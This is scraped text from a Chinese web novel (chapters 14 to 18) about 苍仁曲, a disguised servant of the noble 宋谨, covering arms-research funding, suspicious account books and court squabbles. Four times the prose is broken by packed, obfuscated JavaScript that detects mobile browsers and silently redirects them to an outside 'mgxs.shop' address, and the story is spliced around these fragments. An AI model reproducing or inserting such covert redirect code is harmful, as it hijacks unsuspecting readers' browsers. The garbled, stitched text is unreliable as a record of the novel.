RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103032|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苍仁曲不需还手，闲庭信步地避开道道锋芒，甚至有余地回忆起以前的事情。 “小苍将军，你这剑太慢了点。”许义歌只手背剑，笑吟吟躲开苍仁曲的招式。 苍仁曲步步紧逼，招式愈发汹涌：“你不就比我早生几年，嘚瑟什么？” “是吗？” 苍仁曲学着当年的许义歌，故意露出破绽。 宋谨趁势追击，剑锋挨到她的脖颈，这一次苍仁曲没有躲开。 “喂！” 宋谨下意识收剑。苍仁曲见状，迎剑而上，剑锋擦破衣领，足下精准绊了他一脚。宋谨重心失衡，顿时跌出去几步路。 最后许义歌对她说了一句—— “专心。”苍仁曲眉头微皱，语气冷得肃穆。 宋谨闻言惊色，恍惚间看到了某位故人之姿。 他握紧剑柄，攻势比方才更加迅猛。苍仁曲收了心神，与他又过了几招。几番交锋之下，清早寒风里，她的身体热了起来。 “谨…谨公子……”一名侍从忽然出声。 宋谨瞥了一眼，来人是父亲的侍从。他骤然收手，额头起了细密的汗。 “何事？” 侍从其实到这里好一阵了。 看着苍仁曲似乎毫发无损，可她手无寸铁当着活靶子被谨公子拿来练剑，着实令他捏了把汗，以为谨公子拿她撒气，生生不敢插话。 “公子，军器监来人将到访都督府，老爷今日事务繁忙，让您代为接待。” “嗯，知道了。”宋谨只当接下了一桩小事。 这会儿早饭应该做好了，他归剑入鞘，结束了今日晨练。 苍仁曲经过他身边，被宋谨一把按住了肩膀。 “公子，怎么了？” 宋谨立马松开了手，端正神色：“你回去穿多一点……跟我一起去。” 苍仁曲暗喜，没想到宋谨竟带上了她。 “是。” 宋谨身无要职，平常像个无所事事的清闲公子。 毕竟他是宋德之子，文试武举的名次于他不过锦上添花，无需刻意展示自己，资源和人脉都自动送上门来。 无数人千辛万苦搏来的机遇，抵不过他与生俱来的血脉。 都督府门槛之低，如宋谨这般无名无分者亦可信步跨入；诚然，都督府门槛之高，方圆十里军卫巡守，闲杂人等屏息避退，百姓望而生畏。 都督府正堂。 长史正在接待军器监监令，堂下齐聚几位交州科研界的名匠，众人共商要务。 军器监乃五监之一，负责万邦具体军需事宜。监令则统领全监事宜。 “太子殿下现在应都与王上商议国策，听闻交州军备研发有重大突破，特派本官到前来秀止与诸位商谈事宜。” 其中一位工匠与长史交换眼神，率先向监令陈情：“本所的研发小有突破，问题在于……经费见肘，进度难以为继。” 其他工匠皆面露窘迫，赧然附和。 监令通情达理，安抚众人：“诸位大家可先将研发详情陈明，由本官呈报工部，待勘验确为重大突破，经费自然不成问题。何况，负责经费批复的主官，正是宋府尹。” 话语间，长史见到堂外一抹熟悉身影，欣然起身迎接：“说财神财神到！这不？财神爷来了！” 14. 经费 宋谨虽迟但到，众人起身相迎。 监令打量着这位青涩公子，随即侧首向长史探问：“这位是？” “啊，这位是宋府尹的公子，今日代表府尹前来。”长史这边介绍完，对宋谨引见道，“这位是军器监监令，专程来秀止商讨技艺革新一事。” 宋谨无言微笑，对他颔首致意。 监令眼中闪过讶色：“素闻宋府有位曦小姐，竟不知还有一位谨公子，失敬失敬。” 长史抬举宋谨：“谨公子平日低调，能力不凡，宋府尹对他极为重视，否则也不会交付如此重任。” 宋谨不形于色：“长史大人谬赞，在下实不敢当。还请继续正事。” 监令切回正题：“言归正传，工部眼下风向明确，研发首重实效。能多快产出，便有多大机会通过审批。” 一名工匠问道：“不知这个‘快’具体是多久？” “成果落地，至多五年，工部那边方有把握。” 工匠们闻言惊色。 监令叹息一声，道出原委：“去年许、边二州贪墨大案致使国库空虚，工部迫于户部压力才立此新规矩。研发若拖得太久，国库消耗实难支撑。” 宋谨直言：“此事或有余地，交州财政已承接许、边二州的涉案资产，正好可作研发之用。” 苍仁曲站立宋谨身侧，默默听着一切。 监令眉毛微皱：“这笔钱能动吗？本官听闻太子殿下任职交州都督，是奉王上之意将这笔钱收归国库。” 长史语气沉稳：“款项之事，诸位尽可宽心。太子殿下在应都奏对，王上首肯只是时间问题，眼下要务在研发本身。” 宋谨表明立场：“研发并非一朝一夕的功夫，若只求速成罔顾规律，无非于揠苗助长，钱投了也是白投。” 一名工匠深以为然：“赤武帝时期，像璇源鼎，蒸燎弩这等国之重器，都是花了数十年呕心沥血制才成。” 监令思索片刻，放宽口风：“几位大家的项目若能比肩赤武帝时期的潜力，朝廷倾力支持自然不在话下。” 长史欣然道：“交州技艺冠绝万邦，超越前朝并非难事。既如此，便有劳诸位大家，将项目方案取出，让我等一同参详。” 大匠们的学生各自将方案呈予在座诸位，人手一份。 “真如长史所言，项目根基扎实，构思新颖，大有可为。工部见了，定会酌情通过。唯独此册，”监令单拎出来一本，“初衷是好的，但是兵部资源全民化，太过危险，触及根本。” 宋谨正凝神细阅监令手中那卷项目，始终未置一词。 负责该项目的工匠解释道：“监令，偃人用于民生已有成例在先，此案确保毫无杀伤，且成本低廉，效率远超寻常，万民得益，请您明察。” 监令正色回绝：“涉及万邦安危，岂可轻授于民？由官府统一管辖，保万无一失，也是为了民生社稷。” 工匠张了张口，似想再争，最后只能无力妥协：“是…是……” 长史目光转向宋谨：“谨公子，您看完了吗？” 宋谨抬了一眼：“快了。对了，有一个问题我忘了问。” “您说。” 宋谨转而问向监令：“这些项目呈报上去，工部最多通过几个？” 监令回答道：“此次情形特殊，经费既然从地方上拨款，按道理来说，只要地方承担得起，数量上没有限制。” “既如此，经费一事，我还需与家父商议。这些项目也需再看一看。”说罢，他将那沓文书递给一旁的苍仁曲。 监令语气热络：“好说，好说。只要府尹这边敲定，工部那边不过是走个过场，尽管放心。” 长史对宋谨道：“谨公子，此项目已由府尹大人挂职监使，日后还请您代为督促，多费心了。” “嗯。” 宋谨还在后头议事。 苍仁曲抱着文书先行出府等候马车。她随手翻开几页，其中天马行空的构想，只在她上学时略有耳闻。这些设想概念完整、逻辑自洽，连数据也严密得无懈可击。 她内心讶然，交州技艺竟发展到了如此程度。 “你是我带过最差的学生！项目动笔之前，为何不先摸清军器监的红线？什么能写、什么不能写，你心里没数吗！现在项目黄了，经费没了，这东西白干一场！” 前方停着一辆马车，里头的工匠正在对他的学生撒气。 “对不起师父……” “今天害我丢尽老脸，以后你别想着出师！” 马车在学生哭嗷叫喊声中滚滚远行。 苍仁曲翻开了那份被监令否决的项目文书——关于民用偃人生产线的方案。 “……偃人能将人力从重复劳役中彻底解放，提升效率、节约成本。将来实现偃人量产，造价大降，可使偃人走入寻常百姓家，万家有机枢，户户得助力……” …… 三年前。 苍仁曲拿着勺子，对桌上的玉琼羹望眼欲穿。 “阿曲，这可是你小时候最爱吃的点心，怎么不吃？”许义歌催促道。 “舍不得吃。” “为什么？” 苍仁曲怨声载道：“小时候一碗玉琼羹三钱一碗，自从上面规定民间作坊不得私制玉琼羹，如今一碗竟涨到了百钱。” 许义歌咂咂嘴：“要我说，你得这么想，寻常百姓能吃上一口，那可是天大的面子，说出去，可就成了身份的象征。” 苍仁曲愤然摔勺：“百姓百姓，玉琼羹是百姓发明的，不许百姓经营，让百姓吃不起，还反让百姓以此为荣？天下没有这样的道理！” 许义歌被她举动惊了一跳：“有你这张嘴，父亲的官帽迟早不保。” “饮玉琼羹原意求财，它却变成了掠财之物。”苍仁曲斟酌半晌，还是举碗喝了一口，“味道果然变了。” “权力分走了一杯羹，味道自然有所不同。”许义歌晃了晃手中一干二净的碗盏，笑的意味不明，“不过这权力的滋味……确实新奇。” “阿曲。”宋谨隔着车帘呼唤她。 “公子何事？”苍仁曲不紧不慢地行驶马车。 “一路上你都没怎么说话，有心事？”宋谨语气波澜不惊。 “公子，我话一向很少。”苍仁曲也语气淡淡。 “是吗？”宋谨声音慢慢贴近，苍仁曲似乎听到了帘后的呼吸，“看你对我话挺多的。” 苍仁曲不自觉身子前倾，陪笑着：“可能公子让人看着面善，让人情不自禁话多起来。” 帘后的人沉默了。 苍仁曲语气带着几分故意：“公子怎么不说话？男子不都爱听这样的玩笑话吗？” 宋谨即声反驳：“谁吃这套你逗谁去。” “好，我不说了。”苍仁曲吃了爽。 宋谨冷不防掀开车帘，探出身来：“话既出口，你且说说，我究竟哪里面善？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103033|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苍仁曲转头，宋谨的脸近在咫尺，一双浅墨色的目光正灼灼盯着她，对视片刻，苍仁曲便回头继续驾车：“公子若想听些赞美之言，我能为您说上一路，保证字字从心。” 宋谨望着她背影，问道：“那阿曲吃我这套吗？” 苍仁曲攥紧缰绳：“公子，我不饿。” “……”宋谨轻咳一声，放下了帘子。 不得不说，宋谨长着一副贵公子相。 眉淡细长，睫如鸦羽，薄唇衬着挺立的五官，阴柔中透着一股凛然之气。与生俱来的权贵带给他一种矜贵气质，周身透着与寻常百姓截然不同的疏离感。 人中龙凤，生活在与众生迥异的环境，世俗罕见，一眼难忘，何况与他咫尺相视。 她的心不可避免漏跳一拍，时刻想着—— 刮烂他的脸。 夜晚，宋府。 苍仁曲将今天的项目文书抱至书房，整齐置于案头。 宋谨拿起其中一本，嘱咐道：“去我房里，将璇源鼎的笔记取来。另外，寻大莱要今日的记录，一并带过来。” “是。” 返至别院，苍仁曲第一次进入宋谨房间。 满屋沉香，苍仁曲不自觉心神一松。满墙书柜倚于东墙，轩窗之下仅设一桌一几，是宋谨平日观景品茶之处。 越过折屏，宋谨竟将书桌放置于床前，案头摊开着璇源鼎的笔记，上边密密麻麻皆是批注，底下还垫着几页演算草稿。 府中人言谨公子勤学，果真名不虚传。 苍仁曲收拾好草稿，将书桌整理干净，离开时随手翻看宋谨留下的笔记。 眼花缭乱的数据，公式，推理，计算……隐约间头发好像掉了几根。 ……头疼。 不禁让她回忆起为了备考文试而苦读工程的时日。 苍仁曲先回房取了宋谨遗失的书，又转去匠作坊找到了大莱，大莱正在修理昨天那只损坏的木鸟。 苍仁曲上前招呼，用了府中侍从平日对他的称谓：“莱哥，公子吩咐我来取今日的记录。” “喏，在那。”大莱眼皮没抬一下，指了指旁边用零件压着的两张书纸。 苍仁曲轻轻取下两张书纸，随口一问：“莱哥，公子做这些璇源鼎的记录，是有什么用处吗？” 大莱随口解释道：“没什么用，公子单纯感兴趣而已，外面的大人物知道他有这个喜好，上赶着给他送礼。” 苍仁曲闻言一惊：“璇源鼎乃是国之重器，关乎万邦机密，竟能当作寻常礼物送来送去？” 大莱倒是习以为常：“以公子的身份，璇源鼎的图纸在他眼里，与这只木鸟玩具无异。” 大莱装上木鸟的一边翅膀，木鸟振翅而飞，却往左边歪斜。 他不禁疑惑：“咦？怎么回事？我分明仔细校验过左右重量，分毫不差才对。” “少了一根羽毛。”苍仁曲道明。 大莱断然摇头：“不可能，图纸上就是三十一根，我亲自数的，不会差。” “其实有三十二根。”苍仁曲一边说着，将昨晚熬夜制成的一小片钢羽放在桌面上，“有一根钢羽藏在齿轮与翅骨的夹缝里，肉眼难辨。莱哥若不信，检查一下左边翅骨就知道了。” 大莱半信半疑，待他仔细查验完木鸟左边的翅膀，苍仁曲已经离开匠作坊，桌上还留着那一小片钢羽。 真如她而言，确实有三十二根...... 16. 送暖 宋谨别院。 苍仁曲刚回来，撞见一个略为眼熟的男子在院里四处走动。 那人见到她，径直上前问道：“你就是阿曲姑娘？” “我是，你找我？”苍仁曲回应道。 “我是曦小姐的侍卫，叫我阿兰便好。小姐惦记着你，近日转凉，特地让我送来给你添件衣裳。”石举兰说完，将手中的衣物递上前去。 那衣料触手生温，品质极佳。苍仁曲受宠若惊：“这……我早已不在小姐身边伺候了，这如何使得？” 石举兰解释道：“这些天你穿得单薄，小姐岂会不知？她心善，既看出了你的难处，这份心意，你收下吧。” 苍仁曲接过衣物，声音有些哽咽：“小姐大恩大德，我没齿难忘。” 石举兰笑眼微眯：“阿曲在府中吃饱穿暖，萧大人也能省心了。” “！” 苍仁曲默不作声，盯着他好一会儿，石举兰依旧笑得温和。 好个石举兰，原来他就是萧择天安插来盯住她的眼线。 苍仁曲转身往自己住处走去，随口问道：“我上次陪谨公子去都督府，怎么没看到萧大人？” 石举兰几步跟上，与她并肩而行：“萧大人去沿岸巡视去了，需过段时日才能回来。” “你来找我，只为了送衣服？”苍仁曲忽然停步，转身直视他。 石举兰压低声音：“萧大人有句话托我给你传话。自从入了府，曦小姐一直缠着我，脱不开身。今日可算找了个机会得以来此。” 苍仁曲神色一凝：“什么话？” “假以时日，中秋为期，圆夜融江，高灯船聚。”石举兰陈述完，干咳了几声。 苍仁曲：“……” 她明白萧择天用意，无非是让她在中秋之夜，于江上灯船递交给他情报。 但这话整得……跟夜里私会一样。 这个萧择天，怎么总做出一些令人误会的言行，难道没人来管管他吗？ “我知道了。辛苦你跑来这一趟，阿兰。”苍仁曲礼貌回了个微笑。 “分内之事，日后若有机会，我再来看你。”石举兰还以微笑。 “？” 苍仁曲笑容一僵，只见不远处的秋千旁，宋谨目睹着这一切。 石举兰顺着苍仁曲的视线回头，看见了那道不知驻足多久的身影，随即收敛了神色，恭敬道：“谨公子。” 宋谨经过他的身边：“阿姊有事找我？” 石举兰似乎早有准备，从容应答：“不是什么急事。方才正说起天气转凉，曦小姐挂念您，特命在下来问一声，秋冬的衣裳可还够用？是否需要为您添置几件新衣。” 宋谨瞄了一眼被苍仁曲掩藏在身后的衣物，继而看向石举兰：“不必，替我回谢阿姊。” “是。”石举兰不再多言，随即离开此地。 苍仁曲想将书交给宋谨，而对方只丢下个背影，直接回了房。 苍仁曲只好先回去披了件大衣，再次携书前往。 宋谨披了件毛领大氅，一开门，苍仁曲愣在台阶上。 “……” 二人视线相撞一瞬，苍仁曲默默收回自己迈出的那只脚。 宋谨走下来，不等她开口，递来一个钱袋：“拿着。” 苍仁曲一时错愕：“公子，这是......？” 见苍仁曲接下钱袋，宋谨面无表情略过她离开：“你抵给医馆的积蓄，另外赊给医生二两银子不用还了。” 手中的钱袋热了起来，苍仁曲追上他，问道：“公子，您怎么知道我在医馆欠了钱？” 宋谨一边走一边解释道：“医馆近来开支巨大，你一个人，竟在账面欠下数百两。管家将此事报给了我。” 苍仁曲一脸懵逼：“？？？” 宋谨的语气同面色一样平淡：“派人调查发现，有个医师假借宋府之名进药，向外倒卖中饱私囊，人现已拿下。医馆账面向来没有侍从以个人名义挂账，除你之外。他都将那些黑账记在了你名下。” 苍仁曲满脸震惊，一时说不出话来。 宋谨语气缓和些许：“以后你所有的开支，如实记我账上即可。” 苍仁曲面露感激：“谢谢公子，您和曦小姐的善心，阿曲感激不尽。” 宋谨一时没有接话。 二人到了书院，苍仁曲为宋谨打开书房门，身后才传来他毫无波澜的声音：“阿姊送的东西，都是顶好的，莫辜负了她对你的一片心意。” “公子这是什么话？我的心自然是向着您的。”苍仁曲不紧不慢点起了书桌上的灯火。 宋谨取下毛领，转身走向书架，语气里听不出情绪：“我给你的，比起阿姊，根本不值得一提。” “价值几何，在于受者之心。曦小姐即便赠我锦衣玉食，若闻我欠下百两巨债，也未必肯信我清白。与我而言，还不及公子为我追回的一个钱袋热乎。”苍仁曲点亮最后一处角落，整个书房豁然明亮。 宋谨沉默，许久才回了一句：“嘴倒是巧。” 苍仁曲默默将买来的书安置在书架上，接着凑到宋谨身旁：“公子，我有一事想问。” “说。” “昨晚你让我算的东西，与我父母有什么关系？” 宋谨随手从架上取下一沓账册：“关系不大，试试你算术功底罢了。” “？” 测算术水平？那晚的稿纸堆得她几乎拿不住，睡觉都感觉头晕眼花，他拿着个就为了测她的算术水平？ 苍仁曲面上微笑，内心气得牙痒痒。 宋谨神色平静地抽出一本账册，递到她面前：“这是你父母做工地方的账册。” 苍仁曲接过来一看：“八珍窖？我父母之前做工地方叫陈珍窖，早就关停了。” 宋谨轻描淡写道：“换了个名字而已。” 苍仁曲如鲠在喉，手心不自觉发出冷汗。脑海嗡的一声，她手上的账本，墨字竟如水纹般扭曲、消散，而后重新凝结，不知不觉变成了一本文书。 这是她顶替姜安曲身份之时，萧良山曾递给她的东西。 “这是姜安曲一家的情况，你熟悉一下。”萧良山在一旁喝着茶，语气悠哉。 苍仁曲依言翻开一看。 姜安曲是个老实本分的研读学生，其父母在官营作坊“陈珍窖”做工，因被指认偷工减料而罢职。 陈珍窖是容州官府特许专营玉琼羹的作坊。姜安曲举报容州刺史利用陈珍窖贪墨国库，被押送应都打入死牢，父母交出关键证据，坐实刺史罪状，陈珍窖随之查封。 “陈珍窖虽然封了，但是老板吴任没有被追究，他转到交州做生意，宋府尹对他倾囊相助，不到一年他做成了交州的大粮商。”萧良山解释道。 当初苍仁曲不明就里，现在只觉得细思极恐。 陈珍窖何曾被真正查封？它能改头换面继续经营，甚至将手伸到了交州！ 这背后的网，究竟有多大？ 她做足心理准备，翻看账册的第一页。 那是一纸代理状书，批许的签名上，她赫然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103035|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到了容州刺史的名字，也就是她的父亲——许昭。 第二页，日期于去年年初，玉琼羹售价高达三百钱一碗，近乎平民半月收入，而陈珍窖一月的收支竟逾百万。 苍仁曲瞪大双眼，越往后翻，收支数额越来越大…… “啪啦！”碗盏碎地，爆出清脆声响。 苍仁曲吓了一跳，循声来到父亲房门前，正见许义歌端着满盘碎瓷片，轻轻带上了门。 “哥，发生什么事了？” 许义歌面色沉着：“父亲胃口不好。” “以后别再我送玉琼羹！”门内传来父亲的怒吼。 至今回想起来，苍仁曲仍然心头一跳。 她的父亲一向温和，她从未见他发过这么大脾气，乃至摔碗泄愤。 我的父亲，他不是贪官。 “玉琼羹怎么了？至于发这么大火吗？”苍仁曲不解。 许义歌叹了口气：“他气的不是这玉琼羹，而是送来玉琼羹的陈珍窖。” 指尖划过账面每一个数字，都在直面一个冰冷的事实…… 可苍仁曲始终坚信着—— 我的父亲，他不是贪官。 可是…… 真的吗？ 真的如此吗？ 苍仁曲更加不解：“可陈珍窖是他着手操办起来的……” 许义歌满脸无奈：“连你都这么想，难怪父亲愁的头发白了几根。” 苍仁曲翻页速度越来越快，纸页翻飞，如同父亲那年迅速苍老那般，快得触目惊心。 我的父亲，他、不、是、贪、官！ “撕啦——”苍仁曲猛地反应过来，纸页被她撕出了一道口子。 一室寂静。 宋谨：“……” 苍仁曲放下账册，连忙抱歉：“对不起，公子，我看着急了……” 宋谨似乎没注意到她方才的失控，淡淡开口：“只是旧账，先让你熟悉一下。” 苍仁曲面露镇定：“公子需要我做些什么？” 宋谨指了指满满一沓账册：“这些，全部都需要重新核对一遍。” 苍仁曲呆呆望着这浩如烟海的工作量：“公子，这些……往常都是您一个人完成的？” 宋谨微微摇摇头：“八珍窖自有账房打理，拓本送此留存，我平日并不翻阅。” 苍仁曲小心翼翼追问道：“那……怎么要突然核对了？” “八珍窖在交州经营不善，即将闭窖。因其资产数额巨大，户部需介入核查。这些，便是要递交的全部账目。” 苍仁曲暗吸一口凉气：“意思是我一个人要对付户部所有查账的眼睛？” 宋谨宽慰道：“你连璇源鼎这么复杂的东西都搞得定，足见心思缜密，行事万无一失。应对账目，对你而言不算难事。” 苍仁曲哭笑不得：“公子……璇源鼎是一回事，管账是令一回事，你这好比让一个刚上手的厨子去修花剪草，简直在乱来嘛。” 宋谨解释道：“在这里做事，讲究一专多能。你多精通几样本事，将来无论做什么，都能多条门路。” 苍仁曲冷嘲一声：“公子可真勤俭持家。这么看来，在你手底下干活的人比驴还累，待遇属实一般。” 宋谨眉眼轻挑：“竟没发现你嘴皮子这般伶俐？前面还说心向着我，这么快就翻脸不认人了。” 苍仁曲沉了口气，强行将怨艾压抑在心：“抱歉，公子，恕我冲撞了。” 宋谨：“……” 二人之间再也没有对话。 17. 吵架 苍仁曲专注地核对账目。 宋谨的书看也不是，不看也不是。 其实他希望苍仁曲与他多拌几句嘴，可惜自己不经意间点破了二人的身份。 默契的敏感，让两人拎清了各自的立场，不再多言。 主仆有别，他知道，她也知道。这层关系像一道无形的隔阂，横亘在他们之间。 隔阂始终存在。他望不穿她真实的模样，也找不到合适的理由跨越它，即便主动示好，她想必会欣然迎合。 可他明白，那绝非她真心实意。 宋谨终于坐不住，霍然起身：“走了，回去。” 苍仁曲眼光诧异：“公子，还未到您平日回去的时辰。” “这些以后慢慢看，早些歇息，休要觉得我苛待了你。”宋谨快速披好毛领准备离开。 苍仁曲沉默片刻，反思道：“这都是我应该做的，您不必把我刚才的话放在心上。” 宋谨亲自打开了门，寒冽夜风扑面而来，安抚着他方才无端生起的躁郁，同时也冰冷了他的语气：“但你是第一个对我说出这种话的人。” 苍仁曲：“……” 贵公子当久了，宋谨差点迷失自我。 他并非生于宋府，十二岁那年，才被宋德接回府中。 自那时起，莫名的恶意如影随形，明明与他们素不相识、无冤无仇，他只能忍辱负重，如同这腹罗草一样，平平无奇，无人在意，无人怜惜，卑躬屈膝地活着。 终于，先夫人去世，他摆脱了束缚，宋德开始对他另眼相看，府中上下像才认识了他，渐渐学会闭上嘴巴。 他在府里种满了腹罗草，总算有人意识到这是谨公子珍爱的植草，开始重视它、呵护它、怜惜它。 如今的侍从，在他面前不说任何忤逆之话，不行任何忤逆之事。 可他们为何不说？为何不做？ 他毕竟是看人眼色活过来的人，他一清二楚。 晨早的风，依旧带着那晚的寒意。 宋谨不知度过多少这样的时日，纵然今非昔比，唯有此时，他仍最享受这独自练剑的时分。 “公子，该练剑了，给。”苍仁曲笑容如常，把剑平递给他。 他一步步攀爬至今，有的是权力能轻易让任何冒犯之人付出代价。 那一晚，他却选择了反省…… 因为她并未说错。 “公子？”苍仁曲见他愣神，轻声唤道。 宋谨心下恍然大悟。 他只是困在“谨公子”这层身份久了，习惯将一切逆耳之言视作忤逆。 他逐渐忘了，忠言逆耳利于行。 于是，他接过了剑。 “嗯。” …… 都督府。 苍仁曲随宋谨再次到访此地，代表府尹敲定上次项目一事。 她怀中抱着宋谨父子最终议定的文书，步入正堂，仅有监令一人。 监令见人到了，迎上前从容一礼：“谨公子，长史眼下正被要务缠身，一时过不来，由本官先在此接待。” 宋谨了然，开门见山道：“久等了。回去与家父商议后，认为以此三项潜力最佳，不知监令意下如何？” 说罢，苍仁曲将三份项目文书递予监令。 监令将目光投向其中一份文书，正是他那日正是否决的民用偃甲方案。 他举起那份文书，沉声提醒道：“公子，此策有风险，下官早已明确驳回，若执意呈送工部恐有不妥。” 宋谨面露无奈：“那位大家直接找了家父。家父亲自阅后，认为大有可为，特意交代下来。” 听闻是府尹之意，监令面露犹豫，欲言又止。 宋谨继而说道：“记得监令大人此前说过，只要家父这边敲定，工部那边……不过是走个过场。” 监令干咳一声，终是妥协下来：“……我尽量中秋前上呈给工部。” “劳烦了。” 监令从善如流地拿起那三份文书：“按规章，这些需先呈送长史过目，方合乎章程。” 宋谨随口一问：“什么事情让长史如此头疼？” 监令先行一步：“走去看看就知道了。” 苍仁曲跟随几人的步伐，到了议事堂。 议事堂熙熙攘攘，长史被几名军官围在中间，众人七嘴八舌，让他忙得焦头烂额。 长史一面应付，一面扬声道：“诸位反映的问题，节后必当禀报！眼下临近中秋，诸事都需延后处理。” 一名军官面色铁青：“大人！现有军需被倒卖至岛州倭寇之手，军中必有内鬼！此事必须急查，切不可再拖啊！” 长史身边的属官面露不耐：“节前一律不受理新政务，此乃惯例，现在谁还管这档子破事！就不能等节后再呈报上来吗？” 趁二人争执间隙，监令将三份文书呈给长史：“大人，这些是已经敲定好的文书，需要您签批。” 长史不胜其烦，随手将文书按下，看也未看便对他低声道：“去找文官拟好条文，再拿来给我画押。” 监令得令，即刻去寻文官办理。 军官继续争论：“大人！萧司马那边正等着回信呢！” 长史放缓语气：“此事我亦无能为力。若前线确实吃紧，让司马行文陈明情况，这边自然会酌情增调军需。” “大人，这好像不是重点……” 长史语气带着公事公办的推诿：“萧司马此去巡视，首要职责是确认沿岸防线安全，防线无恙，他的任务便已成了。军需泄露虽为后患，但需按轻重缓急处置，眼下未到解决时机。” “隐患已上报呈明，正应趁热打铁！若错失良机，无异于纵虎归山！后患无穷啊！” 长史冷冷反问：“既说要查，现在有明确线索了吗？” 副官义正言辞：“没有，正等您下令去查。” 长史质问道：“没线索我怎么给你下令？” 副官辩驳道：“您不下令我们怎么去查线索？” 长史神情不悦，声调陡然拔高：“有了线索再找我下令！” 副官一怒之下掀翻旁边的凳子，众人上前拦住他：“没您的命令我们怎敢擅自去查！” 长史指着他怒吼：“都说了查到再找我下令！” 二人你来我往，争执不休，宋谨冷冷看戏，苍仁曲则目瞪口呆，且除她以外，大家似乎对这等场面习以为常。 她暗自排腹，父母从不许她靠近公务场合，难道是为了不让她见识他们不为人知的一面吗？ 监令从文官那取了拟好的条文，谁料一回来，一把椅子迎面朝他飞来！ 他当即灵活闪身，椅子还是狠狠砸中了他的脚趾。 “嘶…嗷！”监令吃痛，只得一瘸一拐走到长史面前，将条文放下。 长史怒指着军官，对左右厉声喝道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103036|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将这个人带出去！” 军官骂骂咧咧，甩开欲上前架住他的众人，随后自行离开了议事堂。 长史在文条上签字画押，仿佛刚才一切从未发生，对监令和颜悦色：“本官今日约了饭局，监令有没有兴趣一同前去？” “大人这手头上的事务，不做了吗？” 长史满脸晦气，吐槽道：“被这么一闹，哪还有心情办公？本官若还留在此处，萧择天的鹰犬必定再来纠缠，没完没了！” 监令欣然安抚道：“那下官就承蒙大人邀约，吃饱喝足再来。” “走！” 监令目光转向宋谨，客气相邀：“若谨公子得闲，不知可否赏脸一同前去？” 没等宋谨回话，长史先一步阻止道：“诶，此举不妥。府尹早有交代，不让谨公子掺和应酬往来。” 监令微微吃惊：“这是为何？” 宋谨淡漠一笑：“我也不知，许是家教如此。” 长史无奈摇了摇头：“府尹真是……以公子之才，早有独当一面的本事，却还是对你管教甚严，反观曦小姐随心所欲，府尹也从不过问，着实令人费解。” 苍仁曲仔细观察宋谨的反应，只见他目光微垂，神色和语气没有任何波澜：“家父或许有他自己的考量。” “也罢，此事本官也不便多言。谨公子，后会有期。”长史含笑作别。 “大人慢走。” 完事，苍仁曲随宋谨也离开了都督府。 宋谨前脚刚踏上马车，后脚便沉声下令：“去研枢院。” 苍仁曲一愣，攥着缰绳迟迟未动：“公子，研枢院怎么走？” 宋谨：“？” 苍仁曲自知难堪，索性紧闭双眼，听候发落。 只听帘后之人叹了口气：“先驾车，我指着你走。” “诶！好！”苍仁曲闻令，立即扬鞭驱车。 宋谨掀开侧帘，每行至一段路口，帮苍仁曲指引方向。马车稳稳当当向研枢院驶去。 路上，宋谨不禁发问：“我记得你在萧武署待过挺长一段时间，怎还不熟悉秀止的路况？” 苍仁曲解释道：“公子有所不知，我在秀止举目无亲，盘缠微薄。除了待在萧武署练功，别无去处。若非这一年心无二用，也不会有如今的身手。” 宋谨琢磨着她的话，心下有了答案。 “过了这条街，右转。” “是。” 马车右转，驶入一条宽阔巷道。 宋谨再度发问：“我还记得，你以前只是个研读的学生，怎么出了狱，投身进萧武署习武去了？” 苍仁曲简短回答道：“包吃、包住、包分配，女子额外减免学费。当时形势窘困，我还能图什么？” 宋谨语气起了一丝波澜：“仅一年便能出师，你倒是颇有天赋。” “公子过奖。” 马车继续前行，“研枢院”三字已清晰可见，苍仁曲逐渐放慢了车速。 院门处，一名女子被两名偃人守卫一左一右架着胳膊往外拖拽。 她奋力挣扎，朝院内厉声抗争：“你们不能这样！我的东西都还在里面。” 院内毫无回应，沉默的偃人拖曳着她，机械地拽至道路中央。 车声忽至，她猛一回头，宋谨的马车已经近在咫尺！ 她拼尽全力也无法挣脱钳制，只能绝望地闭上双眼。 “啊！” 18. 明月 苍仁曲见状，拽紧缰绳，马儿刹蹄，急停在那名女子面前，所幸早有减速，没有酿成大祸。 苍仁曲下意识回身掀开帘子。 “公子，你没事吧？” “出什么事了？” 二人异口同声。 